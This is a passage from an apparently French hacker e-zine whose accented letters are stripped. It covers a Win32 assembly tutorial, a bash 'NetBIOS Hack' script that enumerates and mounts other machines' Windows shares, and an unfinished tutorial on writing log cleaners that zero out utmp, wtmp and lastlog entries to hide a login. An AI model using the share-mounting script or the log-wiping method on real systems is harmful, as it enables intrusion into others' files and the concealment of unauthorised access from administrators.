avoir une dmarche dtaille.


*** Le gnrateur de nombre pseudo-alatoire ***

    L encore, je vous renvoie  l'article 'GNPA' paru dans RtCmag#3 et
reparu dans 'RtCmag at the end of the universe'. Je veux juste dire que j'ai
mis une version totalement 32 bits utilisant une rcurrence linaire d'ordre 2
congruentielle. Je stocke les valeurs de rand_seed1 et rand_seed2 dans le
registre dans la cl 'HKEY_LOCAL_MACHINE\Software\RtC\Penelope'.


*** Le file mapping ***

    Je n'ai rien  dire l non plus, je vous renvoie  l'article de Doxtor L.
'Infection Win32 Part 2 : Manipulation de fichier en asm' qui est trs bien
fait et qui est paru dans 'RtCmag at the end of the universe'. Dans le cas de
Penelope, je rajoute au fichier crypt un entte contenant une signature
('XOR',0) et la cl du fichier crypt avec la cl de l'utilisateur. La
signature permet de savoir si oui ou non on a  faire  un fichier crypt
avec Penelope, c'est un procd classique (Exemple : 'PK' pour les zip, 'PE'
pour les executables Win32, ...).







[ Comment avoir de l'ordre en asm... ]

    C'est un point que j'aimerais aborder parce que je ne l'ai vu abord nul
part et il me semble important. Il est en effet trs facile d'avoir un code
qui ne ressemble  rien en asm. Cette particularit vient du fait qu'il
n'existe aucun diteur de texte ddi  l'assembleur contrairement  tous les
macrolangages. Pour ma part, j'utilise UltraEdit 8.00 que je trouve excellent
 tout point de vue : coloration syntaxique trs complte, transformation
Tabulations en Espace, indentation automatique. Je le conseille  tout le
monde... La deuxime diffrence principale est la compilation. Avec un
macrolangage, on a un joli raccourci clavier sur l'diteur et voil ! En
assembleur, on y va  la  main. Heureusement, on peut automatiser la
compilation un minimum en utilisant des batch de compilation...
    Mais il ne faut pas accuser le manque de matriel. Savoir prsenter un
code en asm est beaucoup plus important que dans tout autre langage. Et quand
je dis prsenter, je parle aussi bien des sauts de lignes opportuns que du
nommage des variables, constantes... Un code mal prsent n'est pas agrable
 lire. Pour ma part, j'essaie de respecter des rgles qui me sont propres.
J'espre que mes codes sont lisibles par le plus grand nombre. J'y accorde
beaucoup d'importance alors dites moi si des choses ne vous paraissent pas
claires.
    Pour finir, je voudrais lancer un appel aux extrmistes des debugger. Je
voudrais insister sur le fait que le meilleur debugger, c'est votre cerveau.
Il ne faut pas devenir dpendant des debuggers, souvent, il suffit juste de
rflchir un peu, de regarder son code droit dans les yeux et l'erreur
apparat ! Parfois, c'est un peu plus compliqu, elle est devant vous et vous
ne la voyez pas... a m'est dj arriv, une pauvre erreur qui m'a rsist
pendant un mois et demi. Quand c'est comme a, laissez tombez, passez  autre
chose, et revenez sur votre code plus tard, avec des ides neuves, a aide ;
vous n'avez personne derrire vous avec une kalashnikov pour vous imposer des
dlais alors prenez votre temps ;  force, vous n'aurez mme plus besoin de
dbugguer vos codes.


[ Conclusion ]

    Je ne vous force pas  utiliser ce logiciel (je vous conseille mme
fortement de ne pas l'utiliser :) ). Mais si vous avez le temps de l'essayer
au moins, et de me dire les bugs qu'il comporte, ce serait cool. J'en ai dj
repr quelques uns, mais je suis sre qu'il y en a d'autres... Merci
d'avance.

Sinon, si vous voulez effacer toute prsence de Penelope dans la base de
registre aprs l'avoir essay, vous pouvez utiliser le programme 'Clean' qui
est spcialement fait pour a. Voil, c'est fini !

EOF



















---------------------------------------------------------------------------------------------------
IV.                       Programmation Win32asm  Part1.                        Disk-Lexic
---------------------------------------------------------------------------------------------------



[ Introduction ]

Salut  tous !
C'est mon premier article pour IOC Magazine et j'ai choisi de vous parler d'un sujet 
que l'on ne rencontre pas assez  souvent dans les textes  franais ...

Souvenez vous , au dpart tait  DOS, le programmeur en assembleur tait heureux, il
pouvait crire partout ou il voulait, en mmoire,sur les ports d'entre-sorties, sur 
les priphriques, il tait maitre absolu de sa machine  et on aurait pu croire  que 
rien ne l'arrterait. 

Et c'est alors que Microsoft  cre Windows.  Et voil que tout tait chang, sous 
l'oppression du mode  protg, il ne peut plus faire  tout ce qu'il dsire, car la 
firme de Redmond a dcid de mettre des restrictions un peu partout. C'est ainsi que
beaucoup se sont mis  programmer dans des langages de haut niveau. Depuis, de nombreux 
tudiants ne se doutent mme plus de ce qui se passe rellement au sein de leurs machines. 

Et certains osent mme dire qu'apprendre l'assembleur ne sert plus  rien. Contre ceux-l 
je me rvolte et prfrent rejoindre ces qulques irrductibles qui on choisi de ne pas subir 
cette dictature. Nous continuerons  vouloir tout savoir sur le droulement des programmes, 
nous continuerons  vouloir tout apprendre sur la structure de vos fichiers. Nous ne vous 
laisserons pas nous aveugler derrire vos tonnes de couches logicielles que vous interposez 
entre l'utilisateur et la machine.

J'ai opt pour une dmarche progressive et j'essairais tant que possible de la respecter.
Cela tant dit , Vous remarquerez que je ne suis pas parti du point zro. Je n'ai pas 
l'intention de vous apprendre les bases de la programmation en assembleur, cela a t fait 
des centaines de fois. Pour cela je vous conseille de lire les e-zines 'reporter' et 'prograzine'. 
Je vous laisserais aussi le soin de vous renseigner sur les API windows par vous mmes car je 
pense qu'il y a dj suffisamment de documentation sur le sujet.
 
Je vais donc tenter de vous initier  la programmation win32asm  l'aide du compilateur TASM.
Parce que j'en ai assez que les informations ne concernent en majorit que MASM.
Bonne lecture et j'espre que je permettrais  beaucoup d'apprendre et de progresser .
Allez , c'est parti, jetons nous  l'eau !






[ Let's Go ]

Vous aurez besoin  :
-du compilateur TASM 5.0 (trouvable sur internet, essayez www.crackstore.com)
-de tasmedit (disponible sur mon site, c'est plus agrable que wordpad ou EDIT)
-d'ub dboggueur (Softice ou Turbo debugger ) . Ca sert toujours !
-de la liste des API windows ( trouvable sur internet )
-de rigueur
-de discipline
-de patience
-de sommeil (  ne pas ngliger. Si si J'y tiens) 



Avant toutes choses, essayez de vous dbarasser des concepts que vous appris en 
assembleur en mode rel. L'asm win32 suit des rgles qui lui sont propres.
Pour commencer, si on veut faire des programmes win32, il est ncessaire de dclarer 
et de disposer des fonctions et les strucures spcifiques  l'utilisation des 
directives Win32 . Ces fonctions sont contenues dans le fichier 'WIN32.INC' .
Pour cela, copiez le fichier 'c:\tasm\examples\wap32\win32.inc' vers le rpertoire 
'c:\tasm\include\'

On commence donc par la faon dont on dclare les fonctions.
Ceci est exemple :

extrn BeginPaint : PROC


Faites attention  bien respecter la casse, car les programmes win32 y sont sensibles !

Pour appeler cette fonction , on fait :

Call BeginPaint

Je dois vous prciser qu'il y a deux types de caractres dans les programmes win32,
ANSI et UNICODE .
Pour utiliser des chaines du type ANSI , faites suivre les fonctions agissant sur les
chaines par un A, et pour UNICODE, par un W . example :

extrn TextOutA : PROC
extrn GetWindowTextW : PROC

Ensuite, il faut dfinir les types et strctures des donnes
(Il serait ncessaire d'avoir une rfrence des API windows
 que vous pourrez trouver dans VisualC++ par exemple).
Donc, on dfinit les strucures de la faon suivante:

MSGSTRUCT struc
	msHWND	UINT		?
	msMESSAGE	UINT		?
	msWPARAM	UINT		?
	msLPARAM	UINT		?
	msTIME		ULONG 		?
	msPT		ULONG		2 dup(?)
MSGSTRUCT ends

Il faut  prsent dfinir les types de donnes:

HDC equ <dd>

Les fonctions win32 ncessitent pour la majorit d'entre elles de recevoir des arguments .
TASM 5.0 possde une fonction qui permet de le faire  la faon des langages de
haut niveau :

CALL FUNC, 	Parms

Mais on peut qussi le faire manuellement

PUSH long 0
PUSH long 0
PUSH long 0
PUSH offset Msg
CALL GetMessage

Bon c'est pas compliqu, on met les paramtres sur la pile dans l'ordre inverse
 leur appel. Pour mieux saisir, regardez la faon dont se fait l'appel de cette fonction en
langage C :

GetMessage(&Msg, 0, 0, 0) ;

Toutes les valeurs de retour des fonctions sont mises dans le registre EAX.
Ici, la fonction GetMessage retourne un ZERO lorsqu'elle se termine .

MessageLoop:
PUSH long 0
PUSH long 0
PUSH long 0
PUSH offset Msg
CALL GetMessage
test eax,eax		; Doit on quitter la boucle ?
jz short EndProgram	; Si oui, on quitte le programme
push offset Msg
CALL TranslateMessage
push offset Msg
CALL DispatchMessage
jmp short MessageLoop
EndProgram:
push [Msg.wParam]
Call ExitProcess		; Fin du programme


Bon , l nous avons vu quelques briques de base en programmation Win32asm.
Nous allons dsormais voir comment construire nos programmes .

La premire chose  faire , et que vous devez dj savoir, c'est de dclarer le type de processeur
pour lequel est destin le programme.

.386  ou
.486 ou encore
.586

La diffrence est dans le fait que dclarer, par exemple, l'utilisation du processeur 486 vous
permettra d'utiliser les instructions spcifiques au 486( et qui sont donc non disponibles sous
le 386,. Logique non !! ) ;
Les instructions du 386 sont en gnral largement suffisante.

Ensuite , nous dfinissons le modle de mmoire que l'on va utiliser.

.MODEL FLAT, 	STDCALL

Je vous parlerais des modles mmoire dans un futur article.

Bon maintenant, on peut mettre nos include.

include WIN32.INC

C'est ce qui permettra  l'diteur de liens ( TLINK32 dans notre cas )  d'importer les fonctions
et les structures qui nous interressent ( Je rappelle que lors d'une compilation, toutes les 
fonctions externes  notre code source sont 'lies et compiles' lors de l'dition de lien ) .

Bon, continuons ! C'est au tour des variables et des constantes de prendre place dans notre 
programme .

.data
Titre db "Ceci est le titre de mon beau programme",0

Et le code !

..code
extrn ExitProcess: Proc
extrn BeginPaint: Proc
DEBUT :
	; notre code
end DEBUT 	; fin du prog

Pour les donnes, voici ce dont nous aurons besoin :

Titre		db	"Titre de la fenetre",0
NonClasse	db	"Fenetre",0
Msg	MSGSTRUCT	<?>	; La structure du message
WC	WNDCLASS	<?>	; La classe de la fentre
hwnd	dd 	?		; Handle sur une fentre
hInstance	dd	?	; Handle sur une instance

On dmarre notre code par un appel  GetModuleHandle.
Ca retourne un module, qui est l'quivalent de HINSTANCE .

push long 0
CALL GetModulehandle
mov [hInstance], eax	; On vient de rcuprere l' instance.

Une fois en possession de notre hInstance, on veut aussi avoir la classe .
Un appel  RegClass et hop ! 

CALL RegClass 

En faisant une procedure , on aura un code un peu plus propre 
en ce qui concerne notre bloc WinMain .

Regclass PROC
mov eax, [hInstance]
mov [WC.clsHInstance],eax
mov [WC.clsStyle], 0
mov [WC.clsLpfnWndProc], offset WndProc
mov [WC.clsCbClsExtra], 0
mov [WC.clsCbWndExtra], 0

push long IDI APPLICATION		; Charge l'icone
push eax
call LoadIcon
mov [WC.clsHIcon], eax
mov [WC.hIconSm],eax

push long IDC_ARROW			; Charge le curseur
push long 0
call LoadCursor
mov [WC.clsHCursor], eax

push long BLACK_BRUSH		;Un fond d'cran noir
call GetStockObject
mov [WC.clsHbrBackground],eax
mov [WC.clsLpszMenuName], 0
mov [WC.clsLpszClassName], offset ClassName

push offset WC
call RegisterClass				; On enregistre notre fentre

RET
ENDP

Nous devons  prsent crer la fentre.

call CreateWind		 ; Cre la fentre qu'on a prcedemment dfinie.

Ici aussi on peut faire une procedure spare pour avoir un WinMain plus clair.

CreateWind PROC

push long 0
push [hInst]
push long 0
push long 0
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long WS_OVERLAPPEDWINDOW	;Style de fentre se rafraichissant en cas de masquage
push offset TitleName
push offset ClassName
push long 0
		; Les options suivantes concernent CreateWindowEx
		; Il s'agit du type fentre tendue

call CreateWindowEx	 ; Cre la fentre
mov [hwnd], eax		; handle de la fentre parent retourn par CreateWindowEx

RET
ENDP

Maintenant, on fait appel  ShowWindow et UpdateWindow

push long SW_SHOW
push [hwnd]
call ShowWindow

push [hwnd]
call UpdateWindow

Ceci va donc creer et afficher la fentre sur l'cran.
N'oublions que nous sommes en programmation venementielle
et que l'on doit grer la boucle des messages dans WinMain.
Je me permet alors de faire un petit rappel sur la programmation evenementielle selon
windows.
On a une sorte de grosse boucle qui attend qu'on lui demande d'effectuer des actions tant 
que l'on ne lui ordonne pas de s'arrter.
En  fait vous avez probablement dj fait de la programmation evenementielle sans forcment 
le savoir. Mais , si, quand vous faites des menus  choix en mode texte. C'est du genre :

Tant qu'on ne quitte pas faire :
	-si 'enregistrer' alors executer la fonction 'Save'
	-si 'charger' alors executer la fonction 'Load'
	-si 'imprimer' alors executer la fonction 'Print'
	-si 'patati patata alors etc, etc, etc.............
	-si 'quitter' alors executer la fonction 'Exit'
Fin de la grosse boucle.(Le programme se termine).

Ben pour windows c'est  peu prs pareil
Les actions sont saisies dans une structure MSG que voici

struct MSG
{
	HWND hWnd ;		// Handle de la fentre
	UINT message ;		// Id du message
	WPARAM wParam ;	// Paramtre du message (32bits)
	LPARAM lParam ;	// Paramtre du message
	DWORD time  ;		// Heure de mise en file d'attente
	POINT pt ;		// Position de la souris
}

alors a resssemble  ceci :

Attent une entre dans MSG :
Si on a une entre pour MSG, on la met dans la file d'attente
Si message est QUIT, alors on sort du programme
Sinon
On Transforme le message en binaire via la fonction TranslateMessage(&MSG)
Puis on execute notre message via la fonction DispatchMessage(&MSG)
Fermeture de boucle .

Et voil , rien de bien sorcier !
Et en assembleur , a nous donne ceci :

MessageLoop :
push long 0
push long 0
push long 0
push offset Msg
call GetMessage		; Appel de la fonction GetMessage

test eax,eax		; A t'on le message 'exit'
jz short EndProgram	; si oui , on va  la fin du programme

push offset Msg
call TranslateMessage	; sinon, on traduit le message en binaire

push offset Msg
call DispatchMessage	; et on execute le message !

jmp short MessageLoop	; On continue notre mange jusqu' plus soif !
		
EndProgram:		; Ca , c'est au cas ou on a plus soif justement ;-)
push [Msg.wParam]
call ExitProcess		; A tchao ! 

Comme vous avez pu le voir , a ressemble bien au schma gnral que 
je vais fait juste avant.

Donc , au final, notre cher petit programme ressemble  ce qui suit :


.486p
.MODEL FLAT, STDCALL
include WIN32.INC

.DATA

Msg	MSGSTRUCT <?>		; La structure Message
WC 	WNDCLASS <?>			; La classe Windows
hwnd		dd    ?			; Handle de fentre
hInstance	dd    ?			; Handle de l'Instance

.CODE

START :

push long 0
call GetModule
mov [hInstance], eax			 ;On prend l'instance

call RegClass				; Enregistrement de la Class
call CreateWind				; Cration de la fentre

push long SW_SHOWNORMAL
push	[hwnd]
call ShowWindow			; Montre la fentre

push [hwnd]
call UpdateWindow			; Rafraichit la fentre

MessageLoop:
push long 0
pus long 0
push long 0
push offset Msg
call GetMessage				; Appel de la fonction GetMessage

text eax,eax				; Doit on sortir ?
jz short EndProgram			; oui, alors on s'clipse

push offset Msg
call TranslateMessage			; Non, on Traduit le message en binaire

push offset Msg
call DispatchMessage			; et on execute notre action

jmp short MessageLoop			; Ce tant qu'on pas recu l'ordre de sortir

EndProgram:				; On an choisi d'en finir

push [Msg.wParam]
call ExitProcess				; On a fini
					;On est  la fin de WinMain

Regclass PROC
mov eax, [hInstance]
mov [WC.clsHInstance],eax
mov [WC.clsStyle], 0
mov [WC.clsLpfnWndProc], offset WndProc
mov [WC.clsCbClsExtra], 0
mov [WC.clsCbWndExtra], 0

push long IDI APPLICATION		; Charge l'icone
push eax
call LoadIcon
mov [WC.clsHIcon], eax
mov [WC.hIconSm],eax

push long IDC_ARROW			; Charge le curseur
push long 0
call LoadCursor
mov [WC.clsHCursor], eax

push long BLACK_BRUSH		;Un fond d'cran noir
call GetStockObject
mov [WC.clsHbrBackground],eax
mov [WC.clsLpszMenuName], 0
mov [WC.clsLpszClassName], offset ClassName

push offset WC
call RegisterClass				; On enregistre notre fentre

RET
ENDP

CreateWind PROC

push long 0
push [hInst]
push long 0
push long 0
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long WS_OVERLAPPEDWINDOW	;Style de fentre se rafraichissant en cas de masquage
push offset TitleName
push offset ClassName
push long 0
		; Les options suivantes concernent CreateWindowEx
		; Il s'agit du type fentre tendue

call CreateWindowEx	 ; Cre la fentre
mov [hwnd], eax		; handle de la fentre parent retourn par CreateWindowEx

RET
ENDP

END START 		;Fin du fichier

Vous pensez peut tre qu'on en a fini , hein , Et bien non !
Il se peut que les appels 
call RegClass  et
call CreateWind 
renvoient une erreur, et ce parce que la fentre n'a pas t correctement enregistre.
Et bien il nous suffit de tester si eax est gal  0, et si c'est le cas, de faire appel  
 ExitProcess avec 0 en paramtre.
 
call RegClass

text eax,eax		; on vrifie qu'il n'y a pas d'erreur
jnz short NO_ERROR

push long 0
call ExitProcess

NO_ERROR:
call CreateWind		; Cre la fentre

test eax,eax		; On vrifie qu'il n'y a pas d'erreur
jnz short WINDOW_CREATED

push long 0
call ExitProcess

WINDOW_CREATED:
....
....
....


Et je suppose que vous vous dites , oui, c'est bien beau , on a cre  une 
fentre , mais notre programme , il ne fait encore rien !
Ca vient , a vient .
La patience est une vertu qui s'offre  celui qui sait attendre.

Et bien les actions que l'on va envoyer  notre fentre s'appellent des callbacks .
Voici comment cela se fait :

WndProc PROC USES ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:DWORD,
lparam:DWORD

; vous placez le code ici

ENDP

Un tout piti exemple de code :

mov eax, [Msg]
cmp eax, WM_CREATE
je W_CREATE

push [lParam]
push [wParam]
push [Msg]
push [hwnd]
call DefWindowProc		; procedure par dfaut
RET

W_CREATE:
; du code

xor eax, eax
RET

Ah , j'allais oublier, pour compiler tout a !
Vous trouverez avec TASM un makefile pour WAP32 (c'ad Windows application 32 bits)
dans TASM\EXAMPLES\WAP32\MAKEFILE  .
Copiez le l ou se trouve le source de cotre programme
changez la ligne
NAME = WAP32
par
NAME = Nomdevotreprogramme
Plus loin, vous trouverez ceci :
OBJS = $ (NAME) .obj
DEF =   $ (NAME).def
et bien sous ces deux lignes vous pouvez ajouter des ressources si vous en
disposez par la ligne suivante
RES  = $ (NAME) .RES
A chaque fois , vous remplacer $ (name) par le nom de votre programme.
N'oubliez pas que toutes les composantes doivent avoir le mme nom.
par exemple : toto.asm, toto.res, toto.rc,  etc...)
Vous copier WAP32.DEF dans le mme rpertoire que votre code source
et vous le renommer en nomdevotreprogramme.def  .
Vous faites un MAKE -b
ou un MAKE -b DEBUG (Pour avoir les informations de dboggage)
Pour linker :
tlink32 /Tpe /aa /c $ (LINKDEBUG) $ (OBJS), $ (NAME),, $ (IMPORT), $ (DEFS), $ (RES)
Attention : ne mettez pas  $ (RES) si vous n'avez de ressources




[ Conclusion ]

Voil, a y est, c'est fini ...  On poursuivra la prochaine fois !
 
                               Disk-Lexic 
                         www.disk-lexic.fr.st

















----------------------------------------------------------------------------------------------
V.                             Petit Script Utile                                 MeiK
----------------------------------------------------------------------------------------------



Cet article est pour les 3l33t h4x0r5 qui h4x3n7 les W1nD0w5 Us3rs avec le fameux NetBIOS.
Je ne vais pas refaire un article l dessus, pour a, vous aurez qu' regarder les articles 
des autres zines qui en parlent. Si vous tes sur un systme UNIX et que vous ne comprenez 
rien  SAMBA, j'ai fait ce petit script qui vous sera trs utile. Vous aurez besoin de SAMBA 
et de NBTSCAN. Pour les pauv' trisomiques qui savent pas ce qu'est SAMBA, c'est un ensemble 
d'utilitaires qui permettent de partager des fichiers en rseau local et entre autres de voir, 
mounter et utiliser des ressources Windows. C'est le mme principe que NetBIOS, mais en plus 
performant et moins bugg si vous voulez. NBTSCAN est un programme qui vous permet d'interroger 
le NetBIOS d'une machine Windows et d'obtenir son nom NetBIOS, son adresse MAC et son nom 
d'utilisateur. Ces deux programmes peuvent tre trouvs sur freshmeat.net.

Voici le script :

<-- COUPEZ ICI -->

#!/bin/bash

echo --------------------------------------
echo NetBIOS Hack v1.0 par MeiK
echo --------------------------------------
echo
echo
echo Entrez l'adresse IP:
read IP
nbtscan $IP
echo
echo Entrez le nom NetBIOS:
read NAME
smbclient -L $NAME -I $IP
echo
echo Entrez le nom du partage a monter:
read SHARE
smbmount //$NAME/$SHARE /mnt -o ip=$IP
echo
echo --------------------------------------


<-- COUPEZ ICI -->

Voil, et surtout, ne fates pas trop chier le monde avec a !!




------------------------------------------------------------------------------------------------
                  A ceux qui seraient dus ...                                     MeiK
------------------------------------------------------------------------------------------------


J'cris cette lettre  ceux qui se demandent pourquoi je n'ai quasiment pas crit 
pour ce numro, et je ne vais pas y aller par mille chemins:

Je suis impliqu dans d'autres choses que le groupe IOC, ce qui me demande quand 
mme pas mal de temps. Une grande partie est en rapport direct avec mon site. D'ailleurs, 
si vous vous demandez pourquoi il n'y a quasiment rien dessus, c'est parce que je 
le re-ouvrirais quand je l'aurais entirement termin. Vous pourrez vous tenir au courant
de l'volution par le biais du site du groupe.

Aussi, si je n'ai pas fait trop d'articles, c'est aussi  cause du manque de 
participation de vous, lecteurs. Si vous nous disiez le genre d'articles dont 
vous avez envie, on saurait ce qu'on doit crire. 

Pour pallier  ce problme, j'ai dcid d'organiser mes articles 
sous forme de dossiers ;  chaque numro ( partir du #4), mes articles seront 
sur le mme thme. J'ai par exemple dcid qu'au #4 je parlerai uniquement de 
scurit informatique pure et simple sous Linux: autrement dit, vous ne trouverez 
rien en rapport avec d'autres systmes ou d'autres sujets. Voici les sujets que 
j'ai dcid d'aborder (liste non exhaustive et pas dans l'ordre):

- Scurit sous Linux
{
	Introduction  Linux
	Fonctionnement de Linux
	Scurisation
	Tests
}
- Fichiers Password
{
	Structure
	Fonctionnement
	Cracking de passwds
	Tests de crackers
}
- Buffer Overflows
{
	Programmation C
	Programmation ASM
	Bases systmes
	Exploits
	Explications
	Exemples
	Exploitation
}
- Systmes d'exploitation
{
	Dfinitions
	Quelques systmes d'exploitation
	Programmation d'OS avec le Flux OS Toolkit
}
- Denial of Service (DoS)
{
	Dfinition
	Nuke
	Flood
	Vrai Plantage
	Protection
}
- Firewalls & IDS
{
	Dfinitions
	Utilisation de IPChains ou IPTables
	Utilisation de LIDS
	Programmation de Firewall
}

Voil, cette liste n'est pas exhaustive, et pas dans l'ordre. Je pense que pour couronner
le tout, comme j'ai du le prciser dans chaque section, je mettrais une partie d'application 
des connaissances l ou j'expliquerai comment raliser un outil en particulier. Par exemple, 
j'expliquerai comment programmer un cracker de pass, un firewall, un OS... sans donner de code 
source dans le magazine (faudra le tlcharger  part).

Voil.














-----------------------------------------------------------------------------------------
VI.           Log Cleaners : Concepts et Programation                 Neofox         
-----------------------------------------------------------------------------------------





[ Introduction ]

Dans ce article, nous allons aborder le fonctionnement d'un log cleaner classic
et expliquer les diffrentes notions utiles  sa ralisation ; on verra ensuite
des mthodes de nettoyage plus preformantes et les notions de C sur lesquelles
elles s'appuient. 




                  


                ++++ | Partie I : Fonctionnement standard | ++++
                              
                                  => Concept de base
                                  => Les fonctions C
                                  => Illustration
                                  => Critiques
                                  
                                   





[ Avertissement ] 

Je ne vais pas revenir ici sur le rle de chaque fichier de log. 
En effet, d'une part le rle de utmp/wtmp/lastlog est bien connu
de tous, d'autre part, le nom, le rle et la position des autres 
fichiers de log, varient en fonction de l'OS. Je ne vais pas non
plus en rapeller le fonctionnement vu la simplicit de la chose.
On passe donc directement  la suite.






   A. Le Concept  :
   ________________


[ Comment un cleaner efface vos traces ]


Nous allons nous concentrer sur le nettoyage de utmp, wtmp et lastlog.
Vous vous connectez  une machine X, au compte "toto", depuis "source.com".
Une entre est donc ajoute aux fichiers utmp qui a logg votre prsence,
 wtmp qui enregistre les dtails de la connection, et  lastlog.
 
Alors, comment est-ce qu'un log cleaner efface vos traces ?
Eh bien, en fait, tout dpend du log cleaner comme nous le verrons plustard, 
mais en rgle gnrale, le prog commene par ouvrir le un fichier, disons, utmp, 
puis il prend la premire entre et la plae dans une structure prdfinie. 
Il compare alors le champ "name" de cette structure ; si ce champ ne correspond pas
au nom d'utilisateur que vous avez entr en argument, c'est que l'entre n'est pas
celle que vous voulez effaer. Dans ce cas, le prog vide la structure puis la remplit
avec la seconde entre du fichier. Il compare  nouveau le champ "user" et ainsi de
suite. Si en revanche le champ "user" correspond, alors le prog en dduit que c'est 
l'entre que vous voulez effaer. Il bourre alors la structure avec des "0". Il cre 
ensuite un dcalage en arrire dans le fichier wtmp en cours de lecture, de manire 
 se retrouver pile au dbut de l'entre  effaer. Il imprime ensuite le contenu de 
la structure ( des 00000 ) par dessus l'ancienne entre rvlant votre prsence. Puis
il referme le fichier. L'entre que vous vouliez effaer a donc t crase par une 
suite de "0", et le fichier en question ne contient plus trae de votre prsence. 

On rcapitule pour que tout soit clair :

    ouverture du fichier en lecture/criture.
    la premiere entre est plae dans une structure.
    comparaison des champs de la structure avec les arguments.
    la structure est remplie de 0 si l'entre est la bonne.
    dcalage vers l'arrire dans le fichier ouvert.
    ecriture dans le fichier par dessus l'entre originale.
    fermeture du fichier.
            


[ Les commandes who et last ]

Comme wtmp ne peuvent pas tre lus directement, vous devez avoir recours
 la commande "last" pour afficher la liste des dernires connections. 
Le mode de fonctionnement est le mme pour les deux autres fichiers. La commande 
"who" ou "w" permet d'afficher le contenu de utmp ; de la mme manire que pour 
wtmp, la suite de 0 recouvrant vos traces n'est pas prise en compte par "who" lors 
de l'affichage des entres. Notez que dans le cas de wtmp, nous ne voulons pas 
effaer toutes les connections de l'utilisateur "toto" mais seulement la dernire, 
celle correspondant  notre connection  ce compte. C'est donc uniquement la dernire 
entre pour cet user qui devra tre effae de wtmp. Nous allons voir les fonctions 
de C mises en oeuvre pour effectuer le "nettoyage".








    B. Programmation :
    __________________


Ouvrir un fichier en lecture/criture, vous savez faire  - avec la fonction open()
et le flag O_RDWR -  donc on ne vas pas s'y attarder plus longtemps. D'autres fonctions 
en revenche mritent quelques explications.


[ Les structures ]

Il y a deux types de structures  connatre pour comprendre la suite ; 
il s'agit de "utmp" et "lastlog". La premire structure est utilise  
la fois pour traiter les entres de utmp et celles de wtmp ; en effet, 
les champs de cette structure sont adapts aussi bien pour les entres 
du premier fichier que pour celles du second. La structure de type 
"lastlog" quant  elle, ben rien de spcial, sinon qu'elle sert  
reevoir les entres de /var/log/lastlog. Voici un exemple simplife
de ces structures :

struct utmp {

   char *ut_user;
   char *ut_host;
   char *ut_time;
}


struct lastlog {

   char *ll_host;
}



Les champs ut_user contiendront le nom d'user de la personne connecte, 
les champs ut_host/ll_host, le nom d'hte de la machine cliente et ut_time, la
date et l'heure de la connection.




[ bzero() ]

Le rle de la fontction bzero() est de remplir un bloc d'octets de 0.
Voici sa syntaxe :


   #include <string.h>

   void bzero (void *pointeur, int n);


bzero met a zero les n premiers octets points "pointeur".
Le pointeur peut trs bien pointer vers une structure de 
type utmp par exemple,  ce qui donnerait :

   int size;
   struct utmp u;

   size = sizeof(u);
   bzero (&u, size);


Il y a cela dit une autre fonction capable d'assurer le 
mme rle : memeset();






[ memset() ]

Comme bzero(), memset() peut remplir une structure de 0, mais
aussi d'autres donnes de type int. Sa syntaxe :

    #include <string.h>

    memset (void *s, int c, int n);

Ici, memset() remplit les n premiers octets points par s, avec
l'octet "n". De la mme manire, on peut lui faire remplir une
structure de "0". Prenons l'exemple d'une structure lastlog :

    int size;
    struct lastlog last;

    size =  sizeof(last);
    memset(&last, 0, size);

L'effet est le mme que celui obtenu  l'aide de bzero().






[ lseek() ]

La fonction read() vient de lire la premire entre d'un de nos trois fichiers
de log, et l'a plae dans la structure approprie. bzero() a rempli cette
structure de 0. Nous voullons copier la suite de 0 par dessus l'ancienne entre
qui vient d'tre lue. Il faut donc "rembobiner", reculer la "tte de lecure/criture"
au dbut de l'entre conerne. Voici la syntaxe de lseek() :


      #include <sys/types.h>
      #include <unistd.h>

      lseek (int fd, int n, int flag);


Ici, "fd" dsigne le descripteur de fichier pointant sur le fichier ouvert
en lecture/criture ; "n" est la taille en octets du dcalage que l'on souhaite
crer ; enfin, "flag" dsigne l'action  effectuer. 
Plusieurs types d'acction sont possibles : 

             
    SEEK_SET => Place la tte de lecture/criture  n octets  partir du dbut du fichier.
    SEEK_CUR => Avance la tte de lecture/criture de n octets.
    SEEK_END => Place tte de lecture/criture  la fin du fichier + n octets.

Ces flags sont venus remplaer les 3 anciens flags que voici :

    L_SET  => Donne "n" comme la nouvelle position de la tte dans le fichier ( = SEEK_SET ).
    L_INCR => Incrmente la position courrante de n octets ( = SEEK_CUR ).
    L_XTND => Dplace la tte de n octets  partir de la fin du fichier, et peut
               de cette faon en augmenter la taille ( = SEEK_END ).

Cela dit, nous utiliserons les nouveau flags ; nous n'en utiliseront mme
qu'un seul : SEEK_CUR.  Ce dernier fait avaner la tte de lecutre/criture
de n octets. Seulement, comme nous l'avons prcis, nous voulons reculer dans
le fichier. On va donc dplaer la tte avec le flag SEEK_CUR de -n octets.





[ write() ]

Nous venons de reculer dans le fichier ouvert et la tte de lecture/criture se trouve
maintenant au dbut de l'entre  effaer. La structure dans laquelle a t pla l'entre
est remplie de 0. Nous voulons remplaer l'entre du fichier par la suite de 0, ce qui
revient  crire le contenu de la structure dans le fichier, par dessus l'entre.
On va utiliser write() ; sa syntaxe est la suivante :


      #include <unistd.h>
    
      write (int fd, char *buf, size);


"fd" est le descripteur de fichier et "buf" le buffer contenant les donnes de taille
"size"  crire en direction de fd. Dans notre cas, les donnes  crire sont contenues
dans la structure, ce qui va donner :

      int fd;
      struct utmp u;

      size =  sizeof(u);
      write (fd, &u, size);

Voila, l'entre correspondant  votre connection est mainenant remplae par
une suite de 0. Nous allons voir avec une petite illustration l'action respective
de chaque commande.




[ strcmp() et strncmp() ]

La fonction strcmp() ( = "string compare" ) sert  comparer deux chaines de
type char. Si ces 2 chaines sont gales, elle retourne 0. La fonction
strncmp() quant  elle, a le mme rle si ce n'est qu'elle compare les
"n" premiers octets de ces deux chaines. Certains cleaners utilisent la
seconde, nous verrons plustard pourquoi. Ces fonctions sont simples et
trs courantes, aussi les avez vous surement dja utilises.
Dans un souci d'exhaustivit, voici la syntaxe de strcmp() :

      #include <string.h>
   
      strcmp(chaine1, chaine2);

En cas d'erreur, cette fonction retourne -1 et si les chaines ne
correspondent pas, c'est une valeur < 0 qui est renvoye. On va
donc grer l'erreur :


     if(strcmp(chaine1, chaine2)!=0){
          fprintf(stderr,"Les chaines ne sont pas gales !\n");
          exit(1);
     }


Les cleaners se servent de cette fonction pour comparer le
champ  ut_name de la structure utmp, avec le nom d'utilisateur
